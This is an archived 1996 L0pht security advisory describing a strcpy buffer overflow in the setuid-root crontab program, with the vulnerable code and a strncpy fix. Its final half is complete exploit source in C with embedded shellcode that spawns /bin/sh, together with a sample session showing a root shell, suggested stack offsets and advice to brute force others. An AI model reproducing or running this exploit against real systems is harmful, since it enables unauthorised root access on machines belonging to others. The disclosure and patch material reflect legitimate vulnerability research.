home *** CD-ROM | disk | FTP | other *** search
- Due to a problem with the code in crontab, a buffer overflow exists that
- allows a user to overwrite the information in a saved stack frame. When
- the function returns, the saved frame is popped off of the stack and
- user supplied code can be executed.
-
- Example:
-
- > id
- uid=621 (mudge) gid=200(users)
- > ./cronny -92
- Using offset (0xefbfdbc8)
- # id
- uid=621 (mudge) euid=0(root) gid=200(users)
-
- Description:
-
- When crontab, a suid root program, is run with just a filename as it's
- only argument the argument is copied into the variable
- Filename[MAX_FNAME].
- Since this copy is done via strcpy, no bounds checking is done on the
- length of the string being handed in. The code snippit from crontab.c
- is as follows:
-
-
- static char Filename[MAX_FNAME];
- ...
-
- [ from parse_args(argc, argc) ]
- if (argv[optind] != NULL) {
- Option = opt_replace;
- (void) strcpy (Filename, argv[optind]);
- }
-
- By placing a sufficently sized string in argv[1] it is possible to
- overwrite
- the saved frame on the stack and, upon return from the routine execute
- machine codes of the users contruction.
-
- Solution:
-
- One fix to the above problem is to replace the strcpy() with strncpy().
-
- if (argv[optind] != NULL) {
- Option = opt_replace;
- (void) strncpy(Filename, argv[optind], sizeof(Filename));
- }
-
- However, this only takes care of _one_ of the exploitable buffer overflows
- in crontab. Finding and fixing the others is left as an excercise to the
- readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]
-
- Gratuitous plug:
-
- OpenBSD has already fixed these problems in crontab around the date of
- the exploit code below, if not a ways before. Talk about an OS with
- pro-active security coders!
-
- Exploit code:
-
- /********************************************************************
- * crontab buffer overflow code - mudge@l0pht.com *
- * 10/12/96 *
- * *
- * So I was sitting here thinking... I know, it's a dangerous thing *
- * and you ever notice that hackers seem to have a surplus of time *
- * on their hands? Well, I don't but hopefully if I keep coming out *
- * with things like this it will help to perpetuate the myth. *
- * *
- * There is a really cool buffer overflow in crond that bitwrior *
- * spotted. So I figured that since the same person, Paul Vixie, *
- * wrote crontab too that the same type of errors would probably be *
- * there. Sure enough! *
- * *
- * Ya gotta love command line overflows... just yank the code from *
- * any existing one and brute on the new program. This is almost *
- * verbatim from my modstat overflow. *
- * *
- * try with offsets of -92, -348, 164, 296, 351 with the way this *
- * is currently setup. If these fail, brute force it <grin>. *
- *******************************************************************/
-
- #include <stdio.h>
- #include <stdlib.h>
-
- long get_esp(void)
- {
- __asm__("movl %esp, %eax\n");
- }
-
- main(int argc, char **argv)
- {
- int i, j, offset;
- char *bar, *foo;
- unsigned long *esp_plus = NULL;
-
-
- char mach_codes[] =
- "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
- "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
- "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
- "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
-
-
- if (argc == 2)
- offset = atoi(argv[1]);
-
- bar = malloc(4096);
- if (!bar){
- fprintf(stderr, "failed to malloc memory\n");
- exit(1);
- }
-
- foo = bar; /* copy of original ptr */
-
- esp_plus = (long *)bar;
- for(i=0; i < 1024 ; i++)
- *(esp_plus++) = (get_esp() + offset);
-
- printf("Using offset (0x%x)\n", (get_esp() + offset));
-
- bar = (char *)esp_plus;
-
- for(j=0; j< strlen(mach_codes); j++)
- *(bar++) = mach_codes[j];
-
- *bar = 0;
-
- execl("/usr/bin/crontab", "crontab", foo, NULL);
- }
-
- mudge@l0pht.com
- ---
- http://www.l0pht.com/advisories.html
- ---
-
-
-
-